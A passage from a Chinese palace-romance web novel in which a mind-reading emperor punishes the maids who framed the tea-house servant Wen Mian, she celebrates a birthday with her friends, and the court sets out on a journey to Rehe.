郭玉祥道:“启禀主子,奴才等已查明,玫瑰清露是御茶房杂役宫女春云,放入温棉床下缝隙之中的。”
温棉闻言,看向槛外一个十三四岁的小姑娘。
她这才想起御茶房还有这么个人。
春云平日寡言少语,从不惹人注意,自己也从未与她有过龃龉,她为什么要这样做?
昭炎帝坐在紫檀木圈椅中,手指有一下没一下地叩着扶手。
“还有呢?”
郭玉祥后背“唰”的冒出一层白毛汗,心道果然什么都瞒不过皇上。
他喉头滚动,艰难地继续道。
“奴才已审过春云,其招认是受了司帐女官秀玉的指使。”
温棉暗自思索一番,愈加不解。
她此前从未与秀玉说上话,怎么会是她呢?她做什么要害自己?
“另有,奴才们在秀玉的下榻处找到香囊一个。”
郭玉祥说着,用小托盘呈上一个水绿织锦缎的香囊。
无纹无绣,平平无奇。
旁边则放着十几枚棕褐色的小丸子。
何逢妙抱拳。
“奴才已然验明,其香丸为淫羊藿、肉苁蓉、依兰香等药材所制,这些药碾成沫子,和成香丸,藏匿于香囊中。
平素其香与普通香丸无异,然若饮酒,则牵动药性,阳气上冲,有催情之效。”
皇帝挑眉,不意还有这样的“惊喜”。
他懒待听宫人的心声,再一个,宫里的规矩,奴才不能直视天颜,所以也甚少听到。
不想却错漏了条大鱼。
殿内一时寂静。
温棉听到这儿,胆战心惊。
如今已不是偷盗贡品、栽赃陷害这样简单的小事了。
“好得很。”
半晌,昭炎帝方开尊口。
他的面上依旧没什么表情。
郭玉祥三人脑门上的冷汗掉到地砖上,“叭嚓”一下摔成八瓣儿。
“不意朕的宫里还有这样的人才。”
他的手轻轻落在圈椅扶手上,檀木佛珠与其相撞,发出轻轻的摩擦声。
“春云,发配宁古塔,与披甲人为奴;另一个,杀,问罪其旗主、佐领及家人。”
昭炎帝是个气度娴雅,有深沉的人,这会子一言定生死,声气儿都没高一下。
他淡然吩咐完,起身便往乾清宫去了。
因能听到人心声,皇帝早在郭玉祥他们去查之前,便已从一些心音碎片里拼凑出了大概。
一个小小的司帐女官,哪里有这等胆量和能为布局,背后有人下指示呢。
怎么料理她背后的靠山,他早就有了计较。
上一回乾清宫处置人没有大张旗鼓,是以鸡是杀了,却没叫猴子老实些。
如今闹这一通,他有心敲打敲打那些心思活络的,好叫他们紧紧皮子。
自打新人进来,各方的眼线又渐渐开始蠢蠢欲动起来,私下里的小动作不断。
郭玉祥这老东西,总顾忌着这些人背后的势力,怕得罪人,常常是睁一只眼闭一只眼,和稀泥了事。
昭炎帝对此早已不满。
“咚、咚、咚。”
郭玉祥的心狂跳不止,一双青缎毡里皂靴停在他头顶,他愈发剔剔然。
皇帝的声音听不出喜怒:“郭玉祥,你是朕身边的老人了。”
一句话,叫郭玉祥“嗵嗵”叩头,不多时脑门一片红。
“奴才驭下不严,监管不力,致使宫内生出这等魑魅魍魉之事,奴才有负圣恩,罪该万死,请主子爷重罚!”
郭玉祥连带王问行,都竖着耳朵,却没听见吩咐。
鞋底在地砖上擦了一下,那双靴子离开了。
昭炎帝走出奉先殿,却发现只自己出来了,温棉没跟上来。
他不满地停住步子,往后瞥了一眼。
但见她愣愣地看着奉先殿槛外的金砖,一动没动。
啧,没眼力见儿的。
“温棉。”
他唤了一声,声音不高。
温棉如同听到万钧之雷打在头顶,下意识抬头。
一双清凌凌的眼睛看向他,随即飞快地垂下眼帘,挪动脚步,朝他走去。
满帮碎花棉鞋踏过方才春云和秀玉跪过的那片金砖。
冰冷坚硬,没有留下一点儿温度。
仿佛那两个宫女从来没来过。
昭炎帝看到了她的眼睛,却没听到她的心声。
虽说什么也听不到,但她在想什么,他能猜到几分。
不过一场小小的暗斗而已,也能叫她吓破了胆。
到底是没经过事的。
“你杵在那儿做什么呢?还要朕请你。”
温棉不敢不说话,唯恐皇帝一个不高兴就要惩治她失仪。
罚她和春云一样,去苦寒之地为奴。
脑子转来转去,终于想出个主意。
“奴才方才是想,您劳累了一天,不若传一个精通奇经八脉的太监来,给您推拿一番,解解疲乏。”
昭炎帝斜了她一眼。
“何须旁人,你若有心,就该自己上手。”
温棉一噎。
她哪里会什么推拿?
讷讷要推拒,却又想起皇帝方才淡淡一声“杀”,于是推辞的话尽数又咽了下去。
“哎,我回去就跟会推拿的公公好好学。”
得,又给自己揽了份活儿。
昭炎帝嘴角噙笑,回了乾清宫,宫人们早已各归其位。
温棉拾掇拾掇脑子里乱七八糟的东西,强打起精神来。
不管皇帝多么天威难测,只要她自己个儿不犯事,皇帝也不能做什么。
老老实实当差,等满了役,出了宫,就再也不用过这种生死都由别人攥在手心的日子了。
/
皇帝今日的奏折批阅完毕,眼看已是酉时末,到了安歇的时辰。
郭玉祥亲自端着一个青玉莲瓣纹小碗,走了进来。
碗中盛着温热的酸枣仁茯苓汤。
他的脸上露出惯常的恭顺,腰弯得和虾子似的。
“主子,汤备好了。”
他将碗轻轻放在皇帝手边的炕几上。
昭炎帝端起碗,凑到唇边抿了一口,随即眉头微皱,嫌弃道:“甜津津的,谁吃这个。”
郭玉祥嘴唇颤了颤。
奇了怪了,不是您自个儿开金口要的汤吗?还特地交代要炒枣仁。
酸枣仁养心补肝,茯苓宁心安神,都是好东西,怎的现在又不要了。
他慌忙跪下。
“是奴才没办好差事,只是酸枣仁本就是甜口的东西,就是不搁糖,这汤也是甜的。
不如奴才叫膳房重做,把枣仁换成柏子仁?”
皇帝啧道:“罢了罢了,下去吧。”
郭玉祥一骨碌从地上爬起来,捡回一条命似的退出东暖阁。
温棉正打算收回莲瓣碗,却见皇帝看向她。
“你过来。”
温棉不明所以,依言上前。
昭炎帝将那碗只喝了一口的安神汤往前推了推。
“喝了罢。”
温棉看着那碗皇帝喝过一口的汤,犹豫了一下,双手捧起碗。
“哎,奴才谢万岁赏赐,俗话说,老祖宗的碗底儿有福根儿,奴才今天吃的万岁的碗底儿,那福气不得海了去。”
说罢,一口将汤灌了下去。
昭炎帝靠在大引枕上,看着她喝完,似笑非笑。
好好好,敢在心底嫌弃他。
视线从她的眼睛慢慢挪到她的嘴唇。
菱唇衔珠,丹渥含春。
这丫头的嘴巴生的好看,话也说的漂亮,就是内心奸滑。
本想斥责她大胆,奈何人家言行举止都比着宫规来,没有一丝儿不妥,叫他想挑刺也挑不成。
温棉被皇帝看的如芒刺背。
他的眼神能洞穿人心似的,单是这样她还不怕,可是皇帝的眼神越来越古怪了。
“咳。”
昭炎帝突然坐正,把杏黄的双龙戏珠大引枕搁到自己大腿上,慢悠悠地开口。
“三月底,朕就要启程去热河了,敬茶上统共就那么几个人手,你必是要随扈的。
只是朕看你,平日里总是嫌弃这嫌弃那的,吃不了苦,随扈的差事,你成吗?”
温棉一听“随扈”,眼睛倏地亮了。
能出宫了,这事她盼望了许久,也顾不得出去有诸多不便,能离开这四方的天儿就是好的。
她喜上眉梢,应道:“成,万岁爷,我可太成了,其实我特别能吃苦,特别耐摔打。”
昭炎帝见她那副雀跃样,暗自好笑,却故意板着脸。
“随扈可不是好顽的,路上规矩严不说,其辛苦艰难更甚。你们宫女怕是要几个人合用一个壶喝水,一个碗吃饭,可没宫里这般精细。”
温棉脸上的喜色微一滞。
皇帝瞧她这副模样,唇角微勾:“行了,出去吧。”
/
皇帝定下三月巡幸热河的消息一经传出,便如同石子投入湖面,在后宫激起了层层涟漪。
各宫小主们心思都活络起来,谁不想跟着出去松快松快?
何况伴驾途中,亲近天颜的机会也多。
说不准就抓住机会,入了万岁的眼呢。
一时间,请安的、送汤水的、托人递话的……八仙过海,各显神通。
只乾清宫风气肃,小主们再使劲也有限,最后只能求到太后跟前。
上头小主们的官司打得飞起,温棉一概不知道。
御茶房最近很安宁,娟秀也不再跟她斗嘴了。
温棉就乐意过安宁日子。
她记起簪儿之前提过,小邓子找她。
这日,她寻了个由头去御茶膳房。
膳房里烟气蒸腾,人头攒动。
温棉找到小邓子的干爹,御茶膳房的总管杨国福,赔着笑脸说了不少好话,又塞了块自己攒下的碎银子,劳烦他给小邓子递个话。
约定三天后在这里见面。
杨国福觍着个大肚子,笑得弥勒佛似的,把银子塞回温棉手里。
“姑娘是我们凳子的干姐姐,我托大,便认你做侄女,咱们叔侄何必见外?”
温棉知道规矩,忙又把钱推回去。
“蒙您不嫌弃,把我当自家子侄待,既然如此,您很该收下,哪有侄女不孝
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敬叔叔的?”
两人拉扯一番,杨国福才收了。
三天后,温棉再次来到膳房。
初春之际,膳房里一棵朱砂梅还零星开着几朵玫红的花,暗香浮动。
朱砂梅下,不仅小邓子早早等在那里,连荣儿也来了!
温棉一见荣儿,眼圈立刻就红了,扑上来一把抱住她。
荣儿也紧紧搂着她的脖子。
“可算见着你了,自打你调去御前,就撇下我一个人睡,晚上静悄悄的,我都害怕……你怎么样,在御前这么久,见过皇上了没?我怎么听小邓子说你被关进慎刑司了?”
温棉搂着她道:“早就见过了,皇帝也是一样的两只眼睛一张嘴,没长出个龙角来。
宫里这些人,个个八百个心眼子,你不在我身边时时提醒着,我被人害了都不知道为什么,真应了我和你说过的话。”
“什么好话,偏应了这个,要应也该应你后来说的。我可记着你,擎等你当了娘娘给我发恩旨赐婚,让我去当官家奶奶呢。”
两人抱在一起,又是哭又是笑。
一旁的小邓子个头蹿高了不少,脸上还带着少年气,含笑看着她们。
见两人依依不舍地放手,他才问道:“姐姐,我可算见着你了,前些日子我寻了你好几次,那小宫女说你被慎刑司的嬷嬷带走了,后来又说你病得厉害。
我和荣姐姐听得提心吊胆,又打听不到确切消息,都快急死了。”
温棉的一颗心暖洋洋的,又涌起无限感慨。
三人一起蹲在梅花树下,小小圆圆的花瓣打着旋儿落下来。
她压低声音,将这段日子经历的种种拣着能说的,一一道来。
荣儿和小邓子听得心惊肉跳,面色发白,紧紧攥着彼此的手。
直到听她说如今已无事,且还可能随驾去热河,两人才长长舒了一口气,拍着胸口直念“阿弥陀佛”。
“小棉子,你以后千万要当心。”荣儿握着温棉的手,眼圈又红了,“御前当差看着风光,实则步步惊心呐。”
小邓子也道:“姐姐,有事一定想法子递话出来,我和荣姐姐虽然帮不上大忙,但总能给你跑个腿。”
宫里杀机四伏,不知什么时候就掉进人家的局里,即便活着出来也得脱一层皮,苦命人包成一团才能活。
三人挤挤挨挨地说了一会子话。
小邓子道:“本是长远不见姐姐,心里惦记,想看看姐姐好不好。
还有一桩事,刚听说万岁定下三月去热河,想着姐姐必要随扈的,姐姐是四月份的生日,恐怕不能在宫里过了。
我和荣姐姐一合计,就想着干脆提前来给姐姐贺寿,热闹热闹。”
温棉笑道:“我是四月初七的生日,荣儿是四月初十,前后脚的事儿,既然要贺寿,何必分先后?咱们俩凑一块儿过,岂不更热闹?”
荣儿听了,立刻拍手:“那感情好,我给你的寿礼都备下了,不过既然一起过,你可也得还我一份好的才行。”
温棉道:“这个容易,还和去年一样,我包上一封银子给你,便宜又实惠,如何?”
“哪个要你的银子?没点子真心。”荣儿嗔道,轻轻推了她一下,“又不是当娘的给孩子发压岁钱。我要你绣个荷包给我。”
温棉一听,脸立刻苦了下来:“你就会为难我。”
荣儿笑嘻嘻地怼她肩头:“谁叫你发烧都能把针线给烧忘了。俗话说,放下耙子扫帚,拿起针线箩斗,我长远看不到你,也不知你勤快练针线了没有。
我不管,就要你绣的荷包,也不要多大,就绣个一寸见方的小花样就成,这总不难为你了吧?”
荣儿总觉得是自己没及时发现温棉发烧,这才叫温棉烧得快死了,好了后连针线都忘了。
一个女人不会动针线,等出宫时又偌大的年纪,到时候哪有男人肯要她?
她们又不是父兄在朝为官的,大家大业,有绣娘陪嫁。
到时候嫁不出去,岂不是把一生都蹉跎了?
荣儿觉得自己该为此负责。
温棉没奈何,道:“好好好,我给你绣,你都不嫌伤眼睛,我有什么不能的。”
“不嫌不嫌。”荣儿登时又高兴起来,“只要是你绣的,哪怕把鸳鸯绣成鸭子我都喜欢。”
三人又说了好些体己话,直到温棉提的膳快凉了,才依依不舍地分开。
/
温棉回去后,找那姑姑,在她的笸箩里寻了一块蓝色素缎布头。
一个荷包能用多少布,布头就够了。
拿出针线笸箩,绣一朵五瓣花,应是不难的。
许久没动过针线了,温棉屏息凝神地下了第一针。
折腾了半天,一片花瓣也没有绣出来。
忽然,温棉灵机一动。
绣花不成,写字总行吧?
反正荣儿也没说非得要花样。
温棉取出一支笔,写了“生辰快乐”四个字,都是一寸见方的大小。
重新拿起针线,在写好的字样上开始下针。
胡乱刺了几针,温棉展开缎子一看,自己瞧着都觉得磕碜。
这日,她端着茶盘进东暖阁给皇帝敬茶。
躬身奉茶时,动作稍大,怀里的蓝缎子便滑出了一角。
昭炎帝眼神好,余光瞥见那突兀的一角,随口问道:“怀里藏的什么东西?”
温棉吓了一跳,支吾道:“回万岁爷,是奴才练绣活的布头,没地方放,就先揣着了。”
“拿出来朕瞧瞧。”
皇帝放下朱笔,对她的女红颇有些好奇。
他看到了缎子上黑乎乎的绣样,不知是个什么花什么鸟?
温棉只得硬着头皮,将那块布掏了出来,双手奉上。
昭炎帝接过,展开一看,只见素缎上绣着四个七扭八歪的字,柴火棍拼在一起似的。
“生辰快乐?”
皇帝挑了挑眉。
“呦呵,还是寿礼?这是给谁贺寿的节礼?”
他刚想笑话她的女红,心思一转,便想到自己的万寿就在四五个月后。
莫非,她是在为自己准备贺礼?
25. 寿桃包子
皇帝没再说什么,和煦道:“你这女红……啧,多练练吧,还有,这缎子也忒素净了些,既是预备着贺寿的礼,总要拿得出手。
库房里各色好料子都有,缺什么针线缎子,只管去跟郭玉祥说,让他开库给你挑去。”
温棉听得一头雾水,皇帝怎么突然关心起这些来了?
她只觉得皇帝也忒难懂了。
一时恼了,说话不假辞色,叫人战战兢兢。
一时欢喜,又体恤下人,温言细语的。
天威难测啊。
温棉忙将那块惹祸的布头重新揣好,躬身退了下去。
至于开库挑料子?她是万万不敢真去跟郭玉祥张这个口的。
不过是给小姐妹绣个荷包罢了,哪里敢真动皇帝的东西。
/
三月末,春寒料峭。
温棉终于赶在随扈热河前,寻了个机会,将绣好的荷包交给了荣儿。
蓝色素云锦的荷包,上面的“生辰快乐”四字被她绣了拆拆了绣,总算能看得过去。
荣儿也从怀里掏出一条帕子递给她。
帕子是粉红织锦缎的料子,柔软鲜亮,上面用雪白的丝线,绣了一朵棉花,针脚细密匀称,栩栩如生。
“我见你那些帕子,素白白的,一点花色也无,怪没意思的。”荣儿抿嘴笑道,“就绣了这个给你,刚巧绣的是你的名儿,可还喜欢?”
温棉接过帕子,心里又暖又酸,眼眶都湿了,连连点头。
“喜欢,喜欢的不得了,荣儿你太好了。”
荣儿这才细看温棉绣的荷包,一看之下,又是“噗嗤”一笑。
随即蹙起眉头,佯装嫌弃道:“嗳哟,你这手艺可真是……以后可怎么嫁得出去?”
温棉挽住她胳膊,笑嘻嘻道:“我才不要嫁出去受婆家的气呢,我就好好当差,攒够了银子,等放出宫去,自己买个小院子,清清静静地过。
嗳,到时候,我就住你家隔壁,你可得给我撑腰子,别让人欺负了我这个孤老婆子。”
“呸呸呸,什么孤老婆子。”荣儿笑着啐她一口。
还想问温棉有没有见父母家人,家里有没有给她定下亲,但看到小邓子在,便没再说了。
毕竟是女儿家的事,当着小邓子的面不好说。
温棉将手帕珍重地收好,变戏法似的从怀里取出一个粗瓷盖碗,递给小邓子。
“这是泡过的茶渣,再和以黄酒、姜汁做的膏药,能治关节疼。
我向太医院的何院正身边的苏拉那里打听来的法子,说是这个药方是江南那里的,你试试好不好,比之狗皮膏药如何。”
小邓子忙接过瓶子收起来,笑道:“今儿也算是我过生了。”
他有一双细长的眼,笑起来狐狸似的,却生了一张方脸,温棉每每看小邓子笑就想起藏狐。
荣儿笑道:“这个好,你总是叫大太监欺负,见天儿的浑身疼。”
小邓子挠挠头:“现在没再欺负了,我跟他们说我姐姐在御前,我干爹是管膳房的,他们就不欺负我了。”
荣儿撇嘴:“那起子都是黑心的,你小心着点,背不住在后面给你使绊子呢。”
“嘿嘿,不说那些了。”
小邓子笑呵呵地从身后拿出一个油纸包,打开来,是三个面制大寿桃。
京师寿诞,凡至亲馈赠,必以蒸桃八枚或九枚为率。其桃以面为之,染红其首,谓之“寿桃”。
小邓子的干爹杨国福也曾干过白案,小邓子跟他学了几招,借了一个灶台,自己包了寿桃。
包子足有拳头大,内填豆沙,一个大桃子的样儿,尖儿上扫了一层红曲米染的面粉,栩栩如生。
“姐姐们,今日过寿,怎能没有寿桃?”小邓子将包子分给她们,“快趁热吃,讨个吉利。”
三人便坐在御茶膳房背后的台阶上,一人捧着一个又大又软的寿桃包子,一口一口地吃着。
温棉三口吃完寿桃,擦擦手道:“你们等我从热河回来,给你们带新鲜物儿。
我听说那里离蒙古近,上好的羊皮只要几百文,我带张好皮子回来,咱们做羊皮袄子穿。”
荣儿忙劝道:“可别,你老实当差,别想着出去买什么,万一落进谁的眼里,又是麻烦,平平安安回来就成了。”
小邓子说:“我听我们掌事的说,三月底满役的宫女都要放出去了,姐姐,乾清宫要放多少人出去?还往里挑人不挑?”
温棉道:“就只我们御茶房放出去两个满役的,前几日我们凑份子,大伙一起吃了顿辞别饭,日后见面可就难了。
要说挑人,我没听说过,倒是以前听皇上提起过,他不愿意宫女近身伺候,乾清宫日后很不必挑宫女进来。”
荣儿道:“怪道我见内务府的人都往慈宁宫使劲呢。”
温棉用肩膀怼了怼她:“我这里攒了些钱,借给你,和你手里的钱凑一凑,你也给曹玉海疏通疏通关系,虽说进不了乾清宫,去慈宁宫也不赖。”
“罢了罢了。”荣儿连连摆手,“我就是闷吃糊涂过的性子,上进露脸的事儿我做不来。
温棉失望地“啧”了一声,但转念一想,她只寥寥见过太后几面,那位可真是个高深莫测的老太太。
荣儿不去太后跟前也好,乾清宫的水深,慈宁宫的水也不浅。
反正都是当奴才,离主子远点,奴才的日子说不得还好过些。
/
春季里当差没那么折磨人,不比冬天,人的身板都冻硬了。
只是再怎么样也不轻省。
温棉坐在东庑房里,两手揣进袖筒里,缩在铜茶炊旁边,歪着头打了个哈欠。
心里第一万次羡慕出宫的那姑姑和秋兰,计算着自己满役的日子。
娟秀斜了她一眼,对她的规矩很看不过眼。
她腰背挺直,手指绞着绣花帕子,脑子里绷着一根弦儿。
忍了又忍,还是没忍住,硬邦邦道:“我说你也忒自在了,头一天挑大梁就碰上随扈,你也真能坐得住。”
那姑姑和秋兰是半月前离宫的,走之前娟秀还挺高兴。
来了乾清宫半年多,就能做御茶房的老人了,搁谁身上不高兴。
但那姑姑真的一走吧,她心里又空落落的,没个底。
自打此前因为值夜和玫瑰露等事,娟秀和温棉之间就有些不自在。
可如今她们俩却不得不共事,甚至比之以往还要紧密。
温棉还是和老农一样揣着袖子,道:“我有什么坐不住,只要你别老以为我要勾引皇上,给我找不痛快,我可太坐的住了。”
“嗳,你这人真是,多早远的事还记着呐?”娟秀一张脸顿时憋红了,“我错了还不成吗?”
原以为主子爷必定与温棉有了些什么,或是开了脸也未可知。
但过去这么久了,温棉还继续在御茶房呆着,娟秀便料想不是自己想的那么回事。
既不是那么回事,那就好办了。
横竖还要一起共事,服个软也不是不行。
温棉哼哼道:“行了行了,我说你也歇歇吧,这半个月我就没见你歇过,弦儿绷得太紧是要断的。”
娟秀没好气道:“说的好像你的弦儿没绷紧似的。咱们伺候的是入口的东西,若是不经心,主子爷有个好歹可怎么了得?”
温棉听到这话,也是叹气。
现在她和娟秀都成了御茶房的领班,各自手下都有小宫女,如此当了半个月的差,真是每天睡觉都睁着一只眼,幸而没捅出篓子。
当领班诚然威风,小宫女小太监们奉承着,各宫小主都要给几分薄面,可也真不轻松。
她要服侍的上司,是举手投足间能定一人乃至一族生死的皇帝。
怎么能不叫她提心吊胆呢?
温棉又打了个哈欠,擦擦湿漉漉的眼角。
今儿起的太早了,昨晚又要收拾包袱,统共只睡了一个更次,刚交三更就睡不着了。
现在困得连饿的劲儿都没有,脑仁疼,心却突突地跳。
丑正时分,乾清宫值夜太监轻轻拍手,紧接着,寝宫里就亮起了烛火。
皇帝比平时早起了一个时辰,梳头时,温棉捧着参茶进来了。
皇帝打她进来就看到她眼底下两片淡淡的青影。
这样疲乏,嘴角却噙着掩不住的笑意。
皇帝接过温棉递来的茶碗,见她这副模样,问道:“姑娘笑什么呢?这么可乐?黑眼圈都要比眼眶子大了,还乐呢。”
温棉听他打趣,垂首笑道:“奴才有幸能随扈,心里欢喜,感恩您呢。”
皇帝嘴角微勾:“瞧你这点儿出息。”<
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p>昨晚同臣工议政到半夜,今早一大早起来,他也不受用,不过这会子好些了,许是喝了参茶,提了神的缘故。
他端着盖碗,走出东暖阁,由四执库的张自行侍候穿衣。
因为离宫前要前往太庙祭祀告庙,是以皇帝穿的是朝服。
十二章纹,八宝立水,贵不可言。
温棉却没心思看皇帝穿着。
她是真不明白皇帝这是什么爱好。
每每轮到她当差时,皇帝就好像突然爱上手里的盖碗似的,去哪儿都端着。
她只好跟上,眼珠子一错不错地盯着。
皇帝看她那副呆呆的样子,又是一笑。
换完朝服,将手中盖碗往温棉手里一搁,道:“还不快去收拾,杵在这儿做什么?”
温棉忙接过茶碗,依旧笑的喜气洋洋,退步出去。
「这位祖宗忒难伺候了。」
皇帝听到这话,猛地回头,但人家早就走远了。
“郭玉祥,朕很难伺候吗?”
郭玉祥正打发人侍膳,闻言,御前的人好悬没都跪下。
/
皇帝告庙礼毕,便往慈宁宫辞行。
太后已端坐殿中,下手雁翅般站了一地嫔妃。
这回出行,皇帝没带上一个宫妃,此时各位小主们含情带怨地看着皇帝,真把郭玉祥看得心都软了。
奈何皇帝是郎心似铁,丝毫不为所动。
皇帝依礼问安,禀道:“此番儿子去热河,怕有数月不能在额涅膝下尽孝,请额涅擅自珍重,若宫里暑热难耐,您老人家便往畅春园去住,那儿开阔凉快。”
太后颔首笑道:“知道了,你路上也仔细身子。”略顿了一顿,又道,“你这番去热河,我有件事儿要托付给你。”
皇帝肃道:“额涅请讲。”
太后道:“苏赫那孩子也在随扈名单上,他性子跳脱,不大稳重,这一路上,还请皇帝多看顾些。”
皇帝温言应道:“都是自家亲戚,这个自然,额涅放心。”
太后点了点头,又道:“还有一桩事,科尔沁亲王福晋前些日子来信,说身上有些不好。
她向来疼四丫头,我想着,让四丫头回漠南一趟,去见她姑爸最后一面,你顺路送她一程罢。”
皇帝闻言,神色郑重了些,道:“既如此,儿子定当安排妥当,去热河一路可不轻松,好在苏赫也随扈,有亲哥子照料,鲁姑娘也能自在些。”
太后道:“那我就吩咐她收拾了,一会儿便让她到宫门外候着,随你的仪仗一起出京。”
皇帝应下,见时辰不早,起身叩别。
出了慈宁宫,天色已蒙蒙透亮,晨风拂过丹陛。
他脚步未停,玉带翻飞。
郭玉祥亦步亦趋,方才听太后与主子爷打机锋,可吓得他三魂七魄差不点离窍。
太后这一招可真妙,打得主子爷措手不及。
昭炎帝是个喜怒不形于色的,他如常坐上御辇,直接往午门金銮处去了。
郭玉祥眼睛利,一眼就看到御辇后面有一顶青布小轿。
王来喜冲师父使眼色。
“师父,您看,这儿……那儿……嗳?”
郭玉祥没好气白了他一眼:“什么这那的?走了。”
他跟着御辇行走,心里啧啧,太后这一手可太妙了,妙到家了。
说是在宫外等着,谁成想就在慈宁宫外等着?
这下想跑也跑不了,不成粘包赖了么?
虽说手段不太体面,奈何管用啊。
那么多小主谁都没能随扈,临了叫承恩公家的小姐抢了先儿了。
正想着呢,忽听御辇上传来一声“郭玉祥”。
他忙哈巴儿似的靠上去:“奴才在。”
皇帝却没说话,戴着虎骨扳指的手撩开帘子,那双眼睛沉沉看向他。
郭玉祥登时会意,向后看了一眼,“嗳哟”了一声。
“女眷的车怎么能往前头去呢?伺候鲁姑娘的也太没成算了,奴才这就叫人领她们从神武门走。”
男女有别,这么做谁也挑不出理儿来。
伺候皇上的宫女的车驾早就从神武门走了,这会子叫鲁姑娘绕大半个紫禁城,等出去就只能坠在后扈处最后面了。
恐怕一路上连见到皇上的面儿都难。
26. 芙蓉糕
午门外候着一堆锦鸡、狮子补子,不是勋贵就是二品以上,打眼望去,一堆红顶子。
昭炎帝于午门启跸前谕留京大臣。
令各部院衙门照常办公,寻常事由留京王大臣商酌,大事驰奏行在。
大学士李九奇、军机大臣英锡、诚亲王完颜龢和九门提督、都统等人皆上前跪领训。
静鞭三响,銮仪卫开道。
午门大开,皇帝的骑驾卤簿自紫禁城午门而出,真格似一条金龙游入京城。
打头是二十四对高举龙纛的旗手,旗面在风中猎猎作响。
身着团龙补服的銮仪卫校尉们手执金瓜、卧瓜、立瓜等仪仗,紧随其后。
按照规格,本还有乐队铙歌鼓吹,皇帝不欲铺张,这项便蠲了。
昭炎帝高坐御辇,闭目养神。
此番去热河,他打算头天驻跸南海子,去看看火器营的演练。
枪炮作新制的红衣袍,一炮能轰塌城墙。
那日枪炮作和火器营试一炮,直轰得地动山摇,闹得京城百姓人心惶惶。
京兆府和御史都上书了。
皇帝捏了捏眉心,随手摘了朝冠搁到旁边。
一想到大炮鸟铳,他不禁越发不耐烦在辇上坐着,真想换了行服跨马扬鞭。
今早祭祖完就去慈宁宫辞行了,结果皇太后开口叫他带上鲁家姑娘。
这一忙乱,他连换衣服的时间都没了。
皇太后怎么就不死心呢。
自己空悬后位这么多年,难道是专为等鲁家女儿不成?她怎么就不明白自己的意思呢?
非得母子俩撕破脸么?
若不是当年……
“主子。”
御辇外郭玉祥低声唤道。
“说。”
“瑞亲王打发校尉来传信儿,南海子那边已经安置好了。”
昭炎帝蹙眉,皇帝出行,内务府那边必要先去铺宫的。
只是内务府大臣去也就罢了,总理行营事务大臣怎么也去管这种小事了?
“去告诉你瑞王爷一声,叫他别躲清闲。”
郭玉祥应了一个“嗻”。
皇帝吩咐完,端起脱胎朱漆菊瓣式盖碗抿了一口酽茶。
为了提精神,茶沏得浓,一口下去苦得麻舌根。
喝完茶,精神头是提起来了,可是总觉得周边空落落的。
好像少了点什么。
/
神武门外。
温棉收拾好包袱,与娟秀、簪儿,还有娟秀手底下的小宫女春兰子一同坐上了一辆青帷小车。
这车是后扈处专供宫女随行所用,车身狭长,两侧各开一扇小窗,挂着靛蓝细布帘子。
车内铺着葛布坐垫,下面的座儿是能开合的,可以当柜子用。
几人的行李就放在里面。
角落里有一个放茶窠子的矮桌,是钉死在车上的,上面放了锡壶,都是不怕碰撞的,掉了也没事。
四个女人挨挨挤挤坐下,实在不宽敞。
好在身条都窄,这才能坐得下。
四下里乱糟糟的,内务府各司的人马挤作一团,正忙着清点车驾,归置行李。
掌事的是行营总管内务府大臣属下的郎中大太监,正吆喝着指挥后扈处的车马行走。
远远瞧见御茶房、御膳房、寿药房这几处要紧地方的宫女太监们的车出来了,他连忙堆起笑脸。
正有个抱着包袱的一个小太监往人堆儿里钻,他扬手,照脸一下。
“贼囚攮的,往哪里跑?”
转脸又笑得甜蜜,和御前的太监套瓷儿。
“几位这边走,侍候主子爷要紧,车驾先过,我们随在后头便是。”
温棉她们的青帷小车这才得以从拥挤的人堆里缓缓挪出。
听见外头有人声,温棉忖度着时辰,这会子应该是刚出神武门。
她想掀开帘子看一看。
在这座巍峨的宫殿里待了几年,但从来没有好好看看。
就好像被一个巨人吞进肚子里,却不知道巨人长什么模样。
只是手才碰到帘子,便有另一只手抓住了她。
“你要做什么?”娟秀警惕道,“外头全是人,不止有太监,还有后扈处侍卫,你要丢人可别带上我。”
温棉只得放下手。
车轮辘辘驶上官道,前后都是太监的车,她们宫女夹在大队中间。
等驶出老远,四周除了车马声再无其他,温棉才撩开侧窗的帘子一角,向外张望。
只见后面尘土飞扬,一队马车,长蛇似的。
蛇尾后面竟还孤零零跟着一辆青篷马车,看规制装饰,并非宫中之物。
那马车跑得颇急,奈何怎么也追不上,只能被越甩越远,瞧着颇可怜。
也不知是哪处的人。
不像御前的,也不像内务府的,跑得那么急,万一跟不上大部队,落在荒郊野地里,怕是不安全。
她正犹豫要不要跟管事的公公说一声,稍等等。
忽地,肩膀头子被杵了一下。
娟秀两道柳叶眉倒竖:“你作的什么死?”
她瞪温棉一眼,一把将帘子扯严实。
“还不赶紧把头收回来,外头都是侍卫,规矩都忘了?一出宫门就敢东张西望,到时候治罪杀头。”
温棉想翻白眼来着,但还是忍了下来,呵呵笑了下。
娟秀和她都是一起进乾清宫御茶房的,正如那姑姑和秋兰。
两个领班总得分出个先后。
那姑姑与秋兰之间是那姑姑为先,娟秀想顶那姑姑的缺儿,温棉却不愿意做秋兰。
只她也不愿意和娟秀起冲突。
撕破脸固然是痛快,但叫人看笑话不说,再叫抓住御茶房不合,觑空儿来个栽赃陷害。
玫瑰露的案子再来一遍,谁能吃得消?
是以娟秀想出头,温棉就随她去。
娟秀见温棉不说,只呵呵笑,她不自在起来,总觉得温棉在笑她轻狂。
“你笑什么?”
温棉不想回答,指了指外面岔开话头:“后头还有辆车,像是落下了,我想着要不要禀报管事。”
“你还有闲心操心别人?那定是哪个衙门迟了误了点的。自己当差不经心,赶不上趟儿,怪得了哪个?
误了点也就罢了,再误了事,别说只是落在后头,就是拉下去杀头,也是他自家活该。”
温棉撇撇嘴:“都是做奴才的,谁没个秃噜的时候?你就不犯错?”
娟秀把脑袋昂得高高的:“我要是犯了错,就请万岁治罪,眨一下眼我也不算个人。”
温棉在心里把白眼翻到天上去。
懒得再同娟秀说话,她索性撩开帘子,冲行在里跑动的小太监招招手。
小太监机灵地跑过来:“姐姐什么事儿?”
温棉如此这般说了,小太监却不忙着去禀报管事,而是笑道:“姐姐有所不知,那不是宫里的车,听几个哥哥说,倒像是承恩公府的,既不是宫里的,我们也不好管。”
“原是如此。”温棉听了这话,便谢过小太监。
想来那车与他们只是顺路罢了。
“承恩公府的?”
娟秀却略过温棉,也扒着车窗子上往后看,只看见飞扬的尘土。
马车颠簸了一个多时辰,终于将京城远远抛在身后。
窗外是连绵起伏的田野,刚抽出嫩绿的新苗,间或有几处零星的农舍。
景致虽开阔,看久了却也单调乏味。
